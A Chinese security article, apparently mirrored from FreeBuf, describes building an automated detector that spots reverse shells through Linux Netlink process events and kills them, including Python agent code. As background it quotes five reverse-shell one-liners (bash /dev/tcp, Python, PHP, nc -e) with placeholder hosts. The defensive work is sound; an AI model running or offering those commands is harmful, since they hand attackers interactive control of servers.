29

自动化反弹Shell防御技术

 5 years ago
source link: https://www.freebuf.com/articles/system/187584.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文作者:zhanghaoyil,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

当命令注入点已经到手,Webshell已经就绪,nc已经监听起来了,冒新鲜热气儿的Shell唾手可得的那种狂喜,大家还记得吗?反弹Shell一般是外网渗透的最后一步,也是内网渗透的第一步。反弹Shell对服务器安全乃至内网安全的危害不必多说。

虽然本diao主要是玩Web安全的,可主机安全监控也是要做起来的,谁让咱是一个人的安全部呢?最近笔者潜心搞了一个反弹Shell攻击自动发现和阻断系统,本着技术共享的理念,当然也是为了让各位大神看看有没有绕过的可能,把这个技术分享出来,大家共勉。

项目GitHub: Seesaw

0×1 反弹Shell解析

未知攻,焉知防?我们先来分析一下反弹Shell这个不新的渗透技术,看看有什么入手点。反弹Shell顾名思义,有两个关键词——反弹和Shell。

反弹:利用命令执行/代码执行/Webshell/Redis未授权访问写入crontab等等漏洞,使目标服务器发出主动连接请求,从而绕过防火墙的入站访问控制规则。

Shell:使服务器Shell进程stdin/stdout/stderr重定向到攻击端。

常见的反弹Shell姿势有(详见文章):

bash -i >& /dev/tcp/ip/port 0>&1

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");'

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

nc -e /bin/bash ip port

通过仔细观察,我们可以发现这些姿势无一例外使用了重定向,这也是识别反弹Shell的突破口,且听笔者细细道来。

我们知道Linux中一切皆文件,正常情况下打开Bash进程时,Bash进程的stdin、stdout、stderr会定向到终端设备文件(例如/dev/pts/0),如下示意图:

uIBB3ii.jpg!web

此时Bash打开的文件描述符为:

jIJfYjI.jpg!web

可以看到bash进程已经打开了对应的字符设备文件描述符,用于将stdin(0u)/stdout(1u)/stderr(2u)等定向到字符设备。

当出现反弹Shell时,例如最流行的姿势bash -i >& /dev/tcp/ip/port 0>&1,我们来解析一下这条命令的意思。

bash -i:启动交互式bash进程
& /dev/tcp/ip/port:将stdout/stderr重定向到与ip:port的tcp套接字中
0>&1:将stdin重定向到stdout中(此时stdout是重定向到套接字的,也就是说stdin也将从套接字中读取)

综上,这条命令是为了控制Bash进程,并获得进程的标准输出和错误输出,采用重定向技术将stdin/stdout/stderr重定向到了套接字设备中,此时输入输出的结构发生了变化,如下示意图:

vy2mQzr.jpg!web

通过lsof命令可以看到此时的文件描述符打开情况:

nmqQVf6.jpg!web

可以发现stdin(0u)/stdout(1u)/stderr(2u)全都重定向到了TCP套接字中,而且此时进程所属的用户也变成了apache(运行Web服务的用户),当前路径就是Webshell所在的目录。

先知社区有不错的反弹Shell重定向分析: Linux反弹shell(一)文件描述符与重定向Linux 反弹shell(二)反弹shell的本质 。本文借鉴学习了这些文章内容,也正是通过对文章内容的学习启发了以上我对反弹Shell的特征提取思路,比心。

0×2 总体思路

综合上述分析,反弹Shell的识别思路便浮出水面:

及时发现Bash进程启动事件。

检查Bash进程是否打开了终端设备,是否有主动对外连接。

0×3 失败尝试

思路是有了,实现时却发现困难重重,第一个深坑,就是如何在第一时间捕捉到Shell进程的启动。为什么要第一时间呢?如果给了黑客短暂的操作窗口,就可能被植入更深层的木马/rootkit,甚至提权后直接把咱的监控程序干掉,这是绝对不能容忍的。

在这个深坑里,笔者扑腾了好几回,下面介绍在坑中的各种尝试,以及最终的成功方法。为啥失败的经验还要说呢?其实这些思路本身不坏,只是不太适合我们的项目目标,顺便介绍给大家共勉。

Round 1 Sysloghistory of BASH

既然要发现Shell进程,第一个思路是从Bash本身入手,如果Bash执行命令,让Bash进程自己告诉我。编译Bash开启命令history syslog功能,从而获取bash命令、bash进程pid、uid、pwd之类有用的信息,正好之前做异常命令识别时有过这个经验,当时也借鉴了一些文章: 安全运维之如何将Linux历史命令记录发往远程Rsyslog服务器

说干就干,下载bash源码: https://ftp.gnu.org/gnu/bash/

a. 打开config-top.h 116行注释,开启bash syslog history功能:

jiEnu2e.jpg!web

b. 在bashhist.c 771行和776行自定义需要的syslog内容和格式,比如我最爱的JSON,但由于命令内容容易出现引号、转义符等导致JSON解析不成功,单独放在一列:

eumMZr7.jpg!web

c. 修改rsyslog配置/etc/rsyslog.conf,用于本地保存或者发送至远程日志服务器做分析,并重启rsyslog服务(service rsyslog restart):

FRNrY3F.jpg!web

至此,所有调用Bash执行的命令都被我们记录下来了:

A7zaQfy.jpg!web

是不是感觉胜利在望了?笔者当时也很兴奋。可是在测试中发现如果反弹命令前面带“sh -c”,就不会被记录。这是不能容忍的缺陷,可是为啥记录不到,找不到任何头绪。沮丧的同时笔者深入思考,这个方法是不适合用于监控Shell进程启动的,实际执行命令时再检查就太晚了。

Round 2 proc文件系统

此路不通不要气馁,再接再厉。我们知道Linux系统有一个proc伪文件系统,记录着当前内核运行状态等信息,还有以进程id为名的一堆目录,里面是与该进程相关的运行信息。能不能从proc文件系统下手,实时监控Shel进程呢?

第一反应是用inotify监控/proc目录创建目录的事件,一旦创建新目录就说明启动了新进程,再进行相应的检查。用pyinotify库写了一个监控程序:

class BashHandler(pyinotify.ProcessEvent):
    def process_IN_CREATE(self, event):
        print(event.path, event.name, event.dir, event.mask, event.maskname, event.pathname, event.wd)
if __name__ == '__main__':
    wm = pyinotify.WatchManager()
    mask = pyinotify.IN_CREATE
    notifier = pyinotify.Notifier(wm, BashHandler())
    wm.add_watch('/proc', mask, rec=False)
    while True:
        try:
            notifier.process_events()
            if notifier.check_events():
                print('detached')
                notifier.read_events()
        except KeyboardInterrupt:
            notifier.stop()
            break

此时尴尬的事情出现了,inotify竟然捕捉不到任何/proc有关的读写事件! 2uE3Ura.jpg!web 仔细研究inotify的实现原理才知道,inotify监视着文件inode,而proc伪文件系统只是内存的映射没有inode,自然不能通过inotify监控到。

Round 3 bash打开事件

此时我把目光又转回到bash本身。我们知道Bash进程启动也就是会打开/bin/bash这个可执行文件,能不能用inotify监控/bin/bash的打开事件呢?

inotifywait -m /bin/bash -e open

实践证明,这回inotify没有让我们失望,每次bash打开都被诚实地捕捉到了:

326Fnia.jpg!web

可是inotify太诚实了,甚至有点缺心眼,不会返回给我们打开文件的进程是谁。

此时更尴尬的事情出现了,当我们的程序捕捉到inotify事件从而对bash进程进行检查时,/bin/bash又会被打开!这就恐怖了,程序会进入到死循环里,出现打开事件,检查进程,结果自己导致了新的打开事件。物理学上这叫“自激”,KTV里这叫“啸叫”。 N367R3b.jpg!web

0×4 成功

Round 4 Netlink Socket

笔者越挫越勇,进入新一轮的研究。发现Linux有一个很好的IPC机制叫Netlink套接字,用于在内核与用户进程之间传递消息,其中就包括了进程事件信息!

Netlink使用标准的socket api,我们只需要创建对应类型的netlink socket并进行监听即可。参考: Netlink通信机制

正好在GitHub上有一个基于netlink的python项目( https://github.com/dbrandt/proc_events ),自动创建进程事件netlink socket并监听,返回一个yield生成器对象:

BVzEB3V.jpg!web

这个好极了,返回了很多有用的信息。我们只需要监听PROC_EVENT_EXEC事件,就可以获取新创建进程的tgid(也就是lsof要用到的PID)用于检查进程是否为反弹Shell。当然这个时候也需要采取必要的措施防止“自激”,我在代码使用了排除法,不检查lsof进程自身的pid。而之前没法防止自激,是因为inotify不能返回读写进程的pid。

利用Netlink套接字,我成功地实时捕捉到了Bash进程启动事件。后面的事情要顺利得多,只要使用lsof命令获取进程打开的文件描述符,应用上面所述的识别逻辑即可,详见代码(github项目agent/seesaw.py):

from proc_events.pec import pec_loop
import subprocess
import shlex
import traceback
import re
import os

white_list = ['192.168.204.5']

def check_for_reversed_shell(lsof):
    '''
    if the process was bash which had got remote socket and not got tty, then it must be a reversed shell.
    :param lsof:
    :return: positive: bool
             peer: str remote socket
    '''
    fds = [x.strip() for x in lsof.split('\n') if x]
    is_bash = has_socket = has_tty = False
    peer = pwd = None
    for fd in fds:
        detail = fd.split()
        fd = detail[3]
        t = detail[4]
        if t == 'CHR' and re.findall('(tty|pts|ptmx)', detail[-1]):
            has_tty = True
        elif 'IP' in t and detail[-1] == '(ESTABLISHED)':
            has_socket = True
            peer = detail[-2].split('->')[1]
        elif 'txt' in fd and re.findall('bash', detail[-1]):
            is_bash = True
        elif 'cwd' in fd:
            pwd = detail[-1]
    if peer:
        for ip in white_list:
            if peer.startswith(ip+':'):
                return False, None, None
    return (is_bash and has_socket and not has_tty), peer, pwd

def deal(pid):
    # simple and efficient kill
    os.system('kill -9 %s' % (pid,))

if __name__ == "__main__":
    self_pids = []
    for e in pec_loop():
        if e['what'] == 'PROC_EVENT_EXEC':
            try:
                #exclude lsof processes
                if e['process_tgid'] in self_pids:
                    self_pids.remove(e['process_tgid'])
                    continue
                else:
                    p = subprocess.Popen(shlex.split('lsof -p %s -Pn' % (e['process_tgid'])), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                    # prevent self-excitation
                    self_pids.append(int(p.pid))
                    out, err = p.communicate()
                    if out:
                        try:
                            positive, peer, pwd = check_for_reversed_shell(out)
                            if positive:
                                deal(e['process_tgid'])
                                print('######\n### Reversed Shell Detached ###\n'
                                      '### pid:%s ###\n'
                                      '### peer:%s ###\n'
                                      '### webshell directory: %s ###\n'
                                      '### Killed immediately. ###\n######' % (e['process_tgid'], peer, pwd))
                        except Exception as ex:
                            traceback.print_exc(ex)
            except Exception as ex:
                traceback.print_exc(ex)

0×5 演示视频

录了一个Demo视频,很小不到6M,流量党可放心观看。 Seesaw Demo

0×6 总结

自己对思考了一下,这个方法优缺点总结如下:

优点:

快速响应:由于Netlink通信机制占用系统资源很少,对于Shell进程启动事件的响应基本无延时,后续主动检测确认为反弹Shell后直接Kill。

绕过较难:由于一般反弹Shell的姿势都是调用bash且通过重定向获取bash的标准输入输出,因此没有前置经验的情况下基本都会被防御住。

信息全面:发现反弹Shell后,收集到Shell相关的信息包括PID、SID(可用于判断究竟是哪个进程组出现了漏洞)、当前路径(方便查找Webshell)、系统用户等,可以再深入挖掘这个技术的应用场景,也可以统一汇总到SOC等分析平台进行联动。

缺点:

绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法。严格限制上传文件目录的执行权限、Bash文件权限可以有效限制这个风险。

检测盲区:无法检测到直接调用Webshell执行命令的事件,因此低权限无交互的命令可以通过Webshell执行到。

本文所述反弹Shell识别方法,并不完美,把自己的思路分享出来,算是抛转引玉吧,欢迎大家讨论。

*本文作者:zhanghaoyil,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK